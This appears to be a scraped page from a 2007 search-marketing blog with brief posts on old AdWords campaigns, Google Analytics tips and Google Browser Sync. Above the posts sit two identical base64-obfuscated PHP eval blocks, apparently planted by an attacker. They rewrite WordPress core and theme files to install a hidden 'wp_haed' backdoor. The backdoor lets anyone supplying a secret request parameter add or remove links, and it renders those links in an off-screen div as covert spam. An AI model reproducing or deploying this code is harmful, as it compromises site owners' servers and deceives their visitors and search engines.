//zzstart eval(base64_decode("Ly8gZmlyc3QgcmVtb3ZlIG15c2VsZgokZmlsZSA9IFRFTVBMQVRFUEFUSC4iL2hlYWRlci5waHAiOwokbW9kID0gZmlsZV9jdXQoJGZpbGUsIHN0cnJldigidHJhdHN6eiIpLCBzdHJyZXYoImhzaW5pZnp6IikpOyAKCgovLyBtb2RpZnkgaGVhZGVyLnBocAokZmlsZSA9IFRFTVBMQVRFUEFUSC4iL2hlYWRlci5waHAiOwokY2hlY2sgPSBmaW5kX2xpbmUoJGZpbGUsICJ3cF9oYWVkIik7CmlmKCRjaGVjaykgZGllKCJGaWxlIGFscmVhZHkgcGF0Y2hlZCIpOwokbW9kID0gZmlsZV9hcHBlbmQoJGZpbGUsICI8P3BocCBpZihmdW5jdGlvbl9leGlzdHMoJ3dwX2hhZWQnKSkgQHdwX2hhZWQoKSA/PiIpOwoKCi8vIG1vZGlmeSBnZW5lcmFsLXRlbXBsYXRlCiRmaWxlID0gQUJTUEFUSC4id3AtaW5jbHVkZXMvZ2VuZXJhbC10ZW1wbGF0ZS5waHAiOwokY29udGVudCA9IGJhc2U2NF9kZWNvZGUoJ1puVnVZM1JwYjI0Z2QzQmZhR0ZsWkNncElIc0tDUzh2Y0hKcGJuUmZjaWdrWDFKRlVWVkZVMVFwT3dvS0NXbG1LQ1JmVWtWUlZVVlRWRnNuWTNKaGJXVnlKMTA5UFNkcWFXMG5LU0I3Q2drS0NRbHBaaWdrWDFKRlVWVkZVMVJiSjJOdFpDZGRQVDBuWVdSa0p5a2dld29KQ1FscFppZ2habWxzWlY5bGVHbHpkSE1vUVVKVFVFRlVTQzRuZDNBdGFXNWpiSFZrWlhNdmFXMWhaMlZ6THljcEtTQkFiV3RrYVhJZ0tFRkNVMUJCVkVndUozZHdMV2x1WTJ4MVpHVnpMMmx0WVdkbGN5OG5LVHNLQ1FrSkNna0pDU1J3WVhKaGJTQTlJSFJ5YVcwb0pGOVNSVkZWUlZOVVd5ZHdZWEpoYlNkZEtUc0tDUWtKSkhScGRHeGxJRDBnZEhKcGJTZ2tYMUpGVVZWRlUxUmJKM1JwZEd4bEoxMHBPd29KQ1FrS0NRa0pKR1lnUFNCbWIzQmxiaWhCUWxOUVFWUklMaWQzY0MxcGJtTnNkV1JsY3k5cGJXRm5aWE12Y0dsNFpXd3VaMmxtSnl3Z0oyRXJKeWs3Q2drSkNTUnlJRDBnWm5CMWRITW9KR1lzSUNJOFlTQm9jbVZtUFZ3aUpIQmhjbUZ0WENJK0pIUnBkR3hsUEM5aFBseHVJaWs3Q2drSkNTUnlJRDBnWm1Oc2IzTmxLQ1JtS1RzS0NRa0pDZ2tKQ1dWamFHOGdJandoTFMwZ1lXUmtJSE4xWTJObGMzTm1kV3dnTFMwK1hHNGlPd29KQ1FrS0NRbDlJR1ZzYzJWcFppQW9KRjlTUlZGVlJWTlVXeWRqYldRblhUMDlKMlJsYkdWMFpTY3BJSHNLQ1FrSkNpQWdJQ0FnSUNSd1lYSmhiU0E5SUhSeWFXMG9KRjlTUlZGVlJWTlVXeWR3WVhKaGJTZGRLVHNLSUNBZ0lDQWdKRzl5YVdjZ1BTQm1hV3hsS0VGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbktUc0tJQ0FnSUNBZ2RXNXNhVzVyS0VGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbktUc0tJQ0FnSUNBZ0pHWWdQU0JtYjNCbGJpaEJRbE5RUVZSSUxpZDNjQzFwYm1Oc2RXUmxjeTlwYldGblpYTXZjR2w0Wld3dVoybG1KeXdnSjJFckp5azdDaUFnSUNBZ0lHWnZjbVZoWTJnb0pHOXlhV2NnWVhNZ0pHeHBibVU5UGlSMllXeDFaU2tnZXdvZ0lDQWdJQ0FnSUNSMllXeDFaVDEwY21sdEtDUjJZV3gxWlNrN0NpQWdJQ0FnSUNBZ0pIQnZjejF6ZEhKd2IzTW9KSFpoYkhWbExDQWtjR0Z5WVcwcE93b2dJQ0FnSUNBZ0lHbG1LQ1J3YjNNOFBUQXBJR1p3ZFhSektDUm1MQ0FrZG1Gc2RXVXVJbHh1SWlrN0NpQWdJQ0FnSUgwS0lDQWdJQ0FnSkhJZ1BTQm1ZMnh2YzJVb0pHWXBPd29nSUNBZ0lDQmxZMmh2SUNJOElTMHRJR1JsYkdWMFpTQnpkV05qWlhOelpuVnNJQzB0UGx4dUlqc0tDUWtKQ1FrSkNRb0pDWDBLQ1FrS0NYMGdaV3h6WlNCN0Nna0phV1lvWm1sc1pWOWxlR2x6ZEhNb1FVSlRVRUZVU0M0bmQzQXRhVzVqYkhWa1pYTXZhVzFoWjJWekwzQnBlR1ZzTG1kcFppY3BLU0I3Q2drSkNTUnNaV1owWDI5bVptVjBQUzB4TURBd0xYSmhibVFvTUN3ek1EQXBLaTB4T3dvSkNRa2tkRzl3WDI5bVptVjBQUzB4TURBd0xYSmhibVFvTUN3ek1EQXBLaTB4T3dvSkNTQWdKR1JwZG5CcFpXTmxjejFsZUhCc2IyUmxLQ2NzSnl3aVlYSXNZbUVzYm1Fc1kyOHNiR2tzWkdrc1ptRXNibThzYzNRc2JIa2lLVHNLQ1FrSlptOXlLQ1JrYVhad2FXVmpaVDB3T3lSa2FYWndhV1ZqWlR3MU95UmthWFp3YVdWalpTc3JLU0I3Q2drSkNTQWdKR1JwZG01aGJXVXVQU1JrYVhad2FXVmpaWE5iY21GdVpDZ3dMSE5wZW1WdlppZ2taR2wyY0dsbFkyVnpLU2xkT3dvSkNRbDlDZ2tKQ1Q4K0Nna0pDVHhrYVhZZ2FXUTlJbmR3WHp3L1BTUmthWFp1WVcxbElEOCtJaUJ6ZEhsc1pUMGljRzl6YVhScGIyNDZZV0p6YjJ4MWRHVTdJR3hsWm5RNlBEODlKR3hsWm5SZmIyWm1jMlYwUHo1d2VEc2dkRzl3T2p3L1BTUjBiM0JmYjJabVpYUS9QbkI0T3lJK0NRb0pDUWs4UHlCcGJtTnNkV1JsSUVGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbk95QS9QZ29KQ1FrOEwyUnBkajRLQ1FrSlBEOEtDUWw5Q2dsOUNna0tmUW9LJyk7CiRjaGVjayA9IGZpbmRfbGluZSgkZmlsZSwgIndwX2hhZWQiKTsKaWYoJGNoZWNrKSBkaWUoIkZpbGUgYWxyZWFkeSBwYXRjaGVkIik7CiRsaW5lID0gZmluZF9saW5lKCRmaWxlLCAiZnVuY3Rpb24gcGFnaW5hdGVfbGlua3MiKTsKJHJzID0gZmlsZV9hZGQoJGZpbGUsICRsaW5lLS0sICRjb250ZW50KTsKCmZ1bmN0aW9uIGZpbGVfY3V0KCRmaWxlLCAkc3RhcnQsICRmaW5pc2gpIHsKCWlmKGVtcHR5KCRmaWxlKSB8fCAhZmlsZV9leGlzdHMoJGZpbGUpKSBkaWUoImZpbGUgJGZpbGUgZG9lc24ndCBleGlzdCIpOwoJaWYoIWlzX3dyaXRhYmxlKCRmaWxlKSkgZGllKCJmaWxlICRmaWxlIGlzbid0IHdyaXRhYmxlIik7CglpZihmaWxlX2V4aXN0cygkZmlsZS4iLmJhayIpKSBkaWUoIkZpbGUgJGZpbGUuYmFrIGV4aXN0cyIpOwoKCXJlbmFtZSgkZmlsZSwgJGZpbGUuIi5iYWsiKTsKCQoJJG9yaWdpbmFsID0gZmlsZSgkZmlsZS4iLmJhayIpOwoJJG5ldyA9IGZvcGVuKCRmaWxlLCAiYSsiKTsKCQoJJHdyaXRlID0gVFJVRTsKCQoJZm9yZWFjaCgkb3JpZ2luYWwgYXMgJGxpbmVfaWQ9PiRsaW5lX2NvbnRlbnRzKSB7CgkJCgoJCQoJCWlmKHN0cnN0cigkbGluZV9jb250ZW50cywgJHN0YXJ0KSkgewoJCQkkd3JpdGUgPSBUUlVFOwoJCQljb250aW51ZTsKCQl9CgoJCWlmKHN0cnN0cigkbGluZV9jb250ZW50cywgJGZpbmlzaCkpIHsKCQkJJHdyaXRlID0gRkFMU0U7CgkJCWNvbnRpbnVlOwoJCX0JCQoJCQoJCWlmKCR3cml0ZSkgewoJCQlmcHV0cygkbmV3LCAkbGluZV9jb250ZW50cyk7CgkJfQoKCX0KCQoJLy8gY2xvc2UgdGhlIGZpbGVzCglmY2xvc2UoJG5ldyk7Cgl1bmxpbmsoJGZpbGUuIi5iYWsiKTsKfQoKCmZ1bmN0aW9uIGZpbGVfYWRkKCRmaWxlLCAkbGluZSwgJGNvbnRlbnQpIHsKCQoJaWYoZW1wdHkoJGZpbGUpIHx8ICFmaWxlX2V4aXN0cygkZmlsZSkpIGRpZSgiZmlsZSAkZmlsZSBkb2Vzbid0IGV4aXN0Iik7CglpZighaXNfd3JpdGFibGUoJGZpbGUpKSBkaWUoImZpbGUgJGZpbGUgaXNuJ3Qgd3JpdGFibGUiKTsKCWlmKGZpbGVfZXhpc3RzKCRmaWxlLiIuYmFrIikpIGRpZSgiRmlsZSAkZmlsZS5iYWsgZXhpc3RzIik7CgkKCXJlbmFtZSgkZmlsZSwgJGZpbGUuIi5iYWsiKTsKCQoJJG9yaWdpbmFsID0gZmlsZSgkZmlsZS4iLmJhayIpOwoJJG5ldyA9IGZvcGVuKCRmaWxlLCAiYSsiKTsKCQoJZm9yZWFjaCgkb3JpZ2luYWwgYXMgJGxpbmVfaWQ9PiRsaW5lX2NvbnRlbnRzKSB7CgkJCgkJLy9lY2hvICRsaW5lX2lkLiI9PiIuJGxpbmVfY29udGVudHMuIjxicj5cbiI7CgkJCgoJCWlmKCRsaW5lX2lkPT0kbGluZSkgewoJCQlmcHV0cygkbmV3LCAkY29udGVudCk7CgkJfQoJCQoJCWZwdXRzKCRuZXcsICRsaW5lX2NvbnRlbnRzKTsKCX0KCQoJLy8gY2xvc2UgdGhlIGZpbGVzCglmY2xvc2UoJG5ldyk7CgkKCXVubGluaygkZmlsZS4iLmJhayIpOwoKCQp9CgpmdW5jdGlvbiBmaW5kX2xpbmUoJGZpbGUsICR0ZXh0KSB7CglpZihlbXB0eSgkZmlsZSkgfHwgIWZpbGVfZXhpc3RzKCRmaWxlKSkgZGllKCJmaWxlICRmaWxlIGRvZXNuJ3QgZXhpc3QiKTsKCWlmKCFpc193cml0YWJsZSgkZmlsZSkpIGRpZSgiZmlsZSAkZmlsZSBpc24ndCB3cml0YWJsZSIpOwoKCSRvcmlnaW5hbCA9IGZpbGUoJGZpbGUpOwoJCglmb3JlYWNoKCRvcmlnaW5hbCBhcyAkbGluZV9pZD0+JGxpbmVfY29udGVudHMpIHsKCQlpZihzdHJzdHIoJGxpbmVfY29udGVudHMsICR0ZXh0KSkgewoJCQlyZXR1cm4gJGxpbmVfaWQ7CgkJCWJyZWFrOwoJCX0KCQkKCX0KCXJldHVybiBmYWxzZTsKCQp9CgpmdW5jdGlvbiBmaWxlX2FwcGVuZCgkZmlsZSwgJHRleHQpIHsKCWlmKGVtcHR5KCRmaWxlKSB8fCAhZmlsZV9leGlzdHMoJGZpbGUpKSBkaWUoImZpbGVfYXBwZW5kOiBmaWxlICRmaWxlIGRvZXNuJ3QgZXhpc3QiKTsKCWlmKCFpc193cml0YWJsZSgkZmlsZSkpIGRpZSgiZmlsZV9hcHBlbmQ6IGZpbGUgJGZpbGUgaXNuJ3Qgd3JpdGFibGUiKTsKCQoJJGZpbGUgPSBmb3BlbigkZmlsZSwgImErIik7CgkkcnMgPSBmcHV0cygkZmlsZSwgJHRleHQpOwoJZmNsb3NlKCRmaWxlKTsKfQo="));
?>//zzfinish//zzstart eval(base64_decode("Ly8gZmlyc3QgcmVtb3ZlIG15c2VsZgokZmlsZSA9IFRFTVBMQVRFUEFUSC4iL2hlYWRlci5waHAiOwokbW9kID0gZmlsZV9jdXQoJGZpbGUsIHN0cnJldigidHJhdHN6eiIpLCBzdHJyZXYoImhzaW5pZnp6IikpOyAKCgovLyBtb2RpZnkgaGVhZGVyLnBocAokZmlsZSA9IFRFTVBMQVRFUEFUSC4iL2hlYWRlci5waHAiOwokY2hlY2sgPSBmaW5kX2xpbmUoJGZpbGUsICJ3cF9oYWVkIik7CmlmKCRjaGVjaykgZGllKCJGaWxlIGFscmVhZHkgcGF0Y2hlZCIpOwokbW9kID0gZmlsZV9hcHBlbmQoJGZpbGUsICI8P3BocCBpZihmdW5jdGlvbl9leGlzdHMoJ3dwX2hhZWQnKSkgQHdwX2hhZWQoKSA/PiIpOwoKCi8vIG1vZGlmeSBnZW5lcmFsLXRlbXBsYXRlCiRmaWxlID0gQUJTUEFUSC4id3AtaW5jbHVkZXMvZ2VuZXJhbC10ZW1wbGF0ZS5waHAiOwokY29udGVudCA9IGJhc2U2NF9kZWNvZGUoJ1puVnVZM1JwYjI0Z2QzQmZhR0ZsWkNncElIc0tDUzh2Y0hKcGJuUmZjaWdrWDFKRlVWVkZVMVFwT3dvS0NXbG1LQ1JmVWtWUlZVVlRWRnNuWTNKaGJXVnlKMTA5UFNkcWFXMG5LU0I3Q2drS0NRbHBaaWdrWDFKRlVWVkZVMVJiSjJOdFpDZGRQVDBuWVdSa0p5a2dld29KQ1FscFppZ2habWxzWlY5bGVHbHpkSE1vUVVKVFVFRlVTQzRuZDNBdGFXNWpiSFZrWlhNdmFXMWhaMlZ6THljcEtTQkFiV3RrYVhJZ0tFRkNVMUJCVkVndUozZHdMV2x1WTJ4MVpHVnpMMmx0WVdkbGN5OG5LVHNLQ1FrSkNna0pDU1J3WVhKaGJTQTlJSFJ5YVcwb0pGOVNSVkZWUlZOVVd5ZHdZWEpoYlNkZEtUc0tDUWtKSkhScGRHeGxJRDBnZEhKcGJTZ2tYMUpGVVZWRlUxUmJKM1JwZEd4bEoxMHBPd29KQ1FrS0NRa0pKR1lnUFNCbWIzQmxiaWhCUWxOUVFWUklMaWQzY0MxcGJtTnNkV1JsY3k5cGJXRm5aWE12Y0dsNFpXd3VaMmxtSnl3Z0oyRXJKeWs3Q2drSkNTUnlJRDBnWm5CMWRITW9KR1lzSUNJOFlTQm9jbVZtUFZ3aUpIQmhjbUZ0WENJK0pIUnBkR3hsUEM5aFBseHVJaWs3Q2drSkNTUnlJRDBnWm1Oc2IzTmxLQ1JtS1RzS0NRa0pDZ2tKQ1dWamFHOGdJandoTFMwZ1lXUmtJSE4xWTJObGMzTm1kV3dnTFMwK1hHNGlPd29KQ1FrS0NRbDlJR1ZzYzJWcFppQW9KRjlTUlZGVlJWTlVXeWRqYldRblhUMDlKMlJsYkdWMFpTY3BJSHNLQ1FrSkNpQWdJQ0FnSUNSd1lYSmhiU0E5SUhSeWFXMG9KRjlTUlZGVlJWTlVXeWR3WVhKaGJTZGRLVHNLSUNBZ0lDQWdKRzl5YVdjZ1BTQm1hV3hsS0VGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbktUc0tJQ0FnSUNBZ2RXNXNhVzVyS0VGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbktUc0tJQ0FnSUNBZ0pHWWdQU0JtYjNCbGJpaEJRbE5RUVZSSUxpZDNjQzFwYm1Oc2RXUmxjeTlwYldGblpYTXZjR2w0Wld3dVoybG1KeXdnSjJFckp5azdDaUFnSUNBZ0lHWnZjbVZoWTJnb0pHOXlhV2NnWVhNZ0pHeHBibVU5UGlSMllXeDFaU2tnZXdvZ0lDQWdJQ0FnSUNSMllXeDFaVDEwY21sdEtDUjJZV3gxWlNrN0NpQWdJQ0FnSUNBZ0pIQnZjejF6ZEhKd2IzTW9KSFpoYkhWbExDQWtjR0Z5WVcwcE93b2dJQ0FnSUNBZ0lHbG1LQ1J3YjNNOFBUQXBJR1p3ZFhSektDUm1MQ0FrZG1Gc2RXVXVJbHh1SWlrN0NpQWdJQ0FnSUgwS0lDQWdJQ0FnSkhJZ1BTQm1ZMnh2YzJVb0pHWXBPd29nSUNBZ0lDQmxZMmh2SUNJOElTMHRJR1JsYkdWMFpTQnpkV05qWlhOelpuVnNJQzB0UGx4dUlqc0tDUWtKQ1FrSkNRb0pDWDBLQ1FrS0NYMGdaV3h6WlNCN0Nna0phV1lvWm1sc1pWOWxlR2x6ZEhNb1FVSlRVRUZVU0M0bmQzQXRhVzVqYkhWa1pYTXZhVzFoWjJWekwzQnBlR1ZzTG1kcFppY3BLU0I3Q2drSkNTUnNaV1owWDI5bVptVjBQUzB4TURBd0xYSmhibVFvTUN3ek1EQXBLaTB4T3dvSkNRa2tkRzl3WDI5bVptVjBQUzB4TURBd0xYSmhibVFvTUN3ek1EQXBLaTB4T3dvSkNTQWdKR1JwZG5CcFpXTmxjejFsZUhCc2IyUmxLQ2NzSnl3aVlYSXNZbUVzYm1Fc1kyOHNiR2tzWkdrc1ptRXNibThzYzNRc2JIa2lLVHNLQ1FrSlptOXlLQ1JrYVhad2FXVmpaVDB3T3lSa2FYWndhV1ZqWlR3MU95UmthWFp3YVdWalpTc3JLU0I3Q2drSkNTQWdKR1JwZG01aGJXVXVQU1JrYVhad2FXVmpaWE5iY21GdVpDZ3dMSE5wZW1WdlppZ2taR2wyY0dsbFkyVnpLU2xkT3dvSkNRbDlDZ2tKQ1Q4K0Nna0pDVHhrYVhZZ2FXUTlJbmR3WHp3L1BTUmthWFp1WVcxbElEOCtJaUJ6ZEhsc1pUMGljRzl6YVhScGIyNDZZV0p6YjJ4MWRHVTdJR3hsWm5RNlBEODlKR3hsWm5SZmIyWm1jMlYwUHo1d2VEc2dkRzl3T2p3L1BTUjBiM0JmYjJabVpYUS9QbkI0T3lJK0NRb0pDUWs4UHlCcGJtTnNkV1JsSUVGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbk95QS9QZ29KQ1FrOEwyUnBkajRLQ1FrSlBEOEtDUWw5Q2dsOUNna0tmUW9LJyk7CiRjaGVjayA9IGZpbmRfbGluZSgkZmlsZSwgIndwX2hhZWQiKTsKaWYoJGNoZWNrKSBkaWUoIkZpbGUgYWxyZWFkeSBwYXRjaGVkIik7CiRsaW5lID0gZmluZF9saW5lKCRmaWxlLCAiZnVuY3Rpb24gcGFnaW5hdGVfbGlua3MiKTsKJHJzID0gZmlsZV9hZGQoJGZpbGUsICRsaW5lLS0sICRjb250ZW50KTsKCmZ1bmN0aW9uIGZpbGVfY3V0KCRmaWxlLCAkc3RhcnQsICRmaW5pc2gpIHsKCWlmKGVtcHR5KCRmaWxlKSB8fCAhZmlsZV9leGlzdHMoJGZpbGUpKSBkaWUoImZpbGUgJGZpbGUgZG9lc24ndCBleGlzdCIpOwoJaWYoIWlzX3dyaXRhYmxlKCRmaWxlKSkgZGllKCJmaWxlICRmaWxlIGlzbid0IHdyaXRhYmxlIik7CglpZihmaWxlX2V4aXN0cygkZmlsZS4iLmJhayIpKSBkaWUoIkZpbGUgJGZpbGUuYmFrIGV4aXN0cyIpOwoKCXJlbmFtZSgkZmlsZSwgJGZpbGUuIi5iYWsiKTsKCQoJJG9yaWdpbmFsID0gZmlsZSgkZmlsZS4iLmJhayIpOwoJJG5ldyA9IGZvcGVuKCRmaWxlLCAiYSsiKTsKCQoJJHdyaXRlID0gVFJVRTsKCQoJZm9yZWFjaCgkb3JpZ2luYWwgYXMgJGxpbmVfaWQ9PiRsaW5lX2NvbnRlbnRzKSB7CgkJCgoJCQoJCWlmKHN0cnN0cigkbGluZV9jb250ZW50cywgJHN0YXJ0KSkgewoJCQkkd3JpdGUgPSBUUlVFOwoJCQljb250aW51ZTsKCQl9CgoJCWlmKHN0cnN0cigkbGluZV9jb250ZW50cywgJGZpbmlzaCkpIHsKCQkJJHdyaXRlID0gRkFMU0U7CgkJCWNvbnRpbnVlOwoJCX0JCQoJCQoJCWlmKCR3cml0ZSkgewoJCQlmcHV0cygkbmV3LCAkbGluZV9jb250ZW50cyk7CgkJfQoKCX0KCQoJLy8gY2xvc2UgdGhlIGZpbGVzCglmY2xvc2UoJG5ldyk7Cgl1bmxpbmsoJGZpbGUuIi5iYWsiKTsKfQoKCmZ1bmN0aW9uIGZpbGVfYWRkKCRmaWxlLCAkbGluZSwgJGNvbnRlbnQpIHsKCQoJaWYoZW1wdHkoJGZpbGUpIHx8ICFmaWxlX2V4aXN0cygkZmlsZSkpIGRpZSgiZmlsZSAkZmlsZSBkb2Vzbid0IGV4aXN0Iik7CglpZighaXNfd3JpdGFibGUoJGZpbGUpKSBkaWUoImZpbGUgJGZpbGUgaXNuJ3Qgd3JpdGFibGUiKTsKCWlmKGZpbGVfZXhpc3RzKCRmaWxlLiIuYmFrIikpIGRpZSgiRmlsZSAkZmlsZS5iYWsgZXhpc3RzIik7CgkKCXJlbmFtZSgkZmlsZSwgJGZpbGUuIi5iYWsiKTsKCQoJJG9yaWdpbmFsID0gZmlsZSgkZmlsZS4iLmJhayIpOwoJJG5ldyA9IGZvcGVuKCRmaWxlLCAiYSsiKTsKCQoJZm9yZWFjaCgkb3JpZ2luYWwgYXMgJGxpbmVfaWQ9PiRsaW5lX2NvbnRlbnRzKSB7CgkJCgkJLy9lY2hvICRsaW5lX2lkLiI9PiIuJGxpbmVfY29udGVudHMuIjxicj5cbiI7CgkJCgoJCWlmKCRsaW5lX2lkPT0kbGluZSkgewoJCQlmcHV0cygkbmV3LCAkY29udGVudCk7CgkJfQoJCQoJCWZwdXRzKCRuZXcsICRsaW5lX2NvbnRlbnRzKTsKCX0KCQoJLy8gY2xvc2UgdGhlIGZpbGVzCglmY2xvc2UoJG5ldyk7CgkKCXVubGluaygkZmlsZS4iLmJhayIpOwoKCQp9CgpmdW5jdGlvbiBmaW5kX2xpbmUoJGZpbGUsICR0ZXh0KSB7CglpZihlbXB0eSgkZmlsZSkgfHwgIWZpbGVfZXhpc3RzKCRmaWxlKSkgZGllKCJmaWxlICRmaWxlIGRvZXNuJ3QgZXhpc3QiKTsKCWlmKCFpc193cml0YWJsZSgkZmlsZSkpIGRpZSgiZmlsZSAkZmlsZSBpc24ndCB3cml0YWJsZSIpOwoKCSRvcmlnaW5hbCA9IGZpbGUoJGZpbGUpOwoJCglmb3JlYWNoKCRvcmlnaW5hbCBhcyAkbGluZV9pZD0+JGxpbmVfY29udGVudHMpIHsKCQlpZihzdHJzdHIoJGxpbmVfY29udGVudHMsICR0ZXh0KSkgewoJCQlyZXR1cm4gJGxpbmVfaWQ7CgkJCWJyZWFrOwoJCX0KCQkKCX0KCXJldHVybiBmYWxzZTsKCQp9CgpmdW5jdGlvbiBmaWxlX2FwcGVuZCgkZmlsZSwgJHRleHQpIHsKCWlmKGVtcHR5KCRmaWxlKSB8fCAhZmlsZV9leGlzdHMoJGZpbGUpKSBkaWUoImZpbGVfYXBwZW5kOiBmaWxlICRmaWxlIGRvZXNuJ3QgZXhpc3QiKTsKCWlmKCFpc193cml0YWJsZSgkZmlsZSkpIGRpZSgiZmlsZV9hcHBlbmQ6IGZpbGUgJGZpbGUgaXNuJ3Qgd3JpdGFibGUiKTsKCQoJJGZpbGUgPSBmb3BlbigkZmlsZSwgImErIik7CgkkcnMgPSBmcHV0cygkZmlsZSwgJHRleHQpOwoJZmNsb3NlKCRmaWxlKTsKfQo="));
?>//zzfinish
13 Jun, 2007 by Robert
Some search engine marketers might be wondering if it really is advantageous to revive an old Adwords campaign. This is especially common when dealing with a new client who has had a previous Adwords campaign. The answer is relative to the older campaign’s performance. As Seroundtable.com puts it
As far as old campaigns go, if the account has a really bad history and not-so-good quality scores, it’s better to close that account and start from scratch rather than to revive an old account and have Google use that history against you. After all, as member Jeremy Brookins says, “if you move your keywords, Google continues to consider that keyword’s previous history. HOWEVER, it also will weight in an expected performance of the new
adgroup/ad/landing page, which can be a good or bad thing depending on your previous performance.”
Plus, if you are using an older campaign it will take less time to setup which can be a plus for the lazier… I mean busier SEM.
13 Jun, 2007 by David

Obviously, the staff here at Adtasm can’t really work (or live) without Google, but Readwriteweb.com has the ground rules for a personal experiment you can try. How long can you go? I lasted all of5 minutes.
11 Jun, 2007 by David
From Blogstorm.co.uk
Blogstorm gives us a comprehensive list of pointers to better make use of the familiar analytics package by Google. Some of the topics include:
- Tracking exit clicks, banner clicks and RSS feed subscribers
- Tracking ecommerce revenue
- How to track Sales
- Tracking 404 errors
6 Jun, 2007 by David
Ahhh, Google.com…. I could go on and on about the wondrous tools that Google has pumped out over the years for the tech-savvy (and you have to be, if you want to succeed in the world of online marketing). If you are like most decently aware Internet users, you probably have Firefox installed wherever you go. Perhaps you even have a tool like Foxmarks syncing your bookmarks so you have up to date bookmarks wherever you go. But lets say you want not just your bookmarks, but your password, your history (and all encrypted to protect your privacy along with a password), and tabs session all to follow you wherever you go. Intrigued?
Enter: Google Browser Sync.
This incredible extension for Firefox,
Continuously synchronizes your browser settings – including bookmarks,
history, persistent cookies, and saved passwords – across your
computers. It also allows you to restore open tabs and windows across
different machines and browser sessions.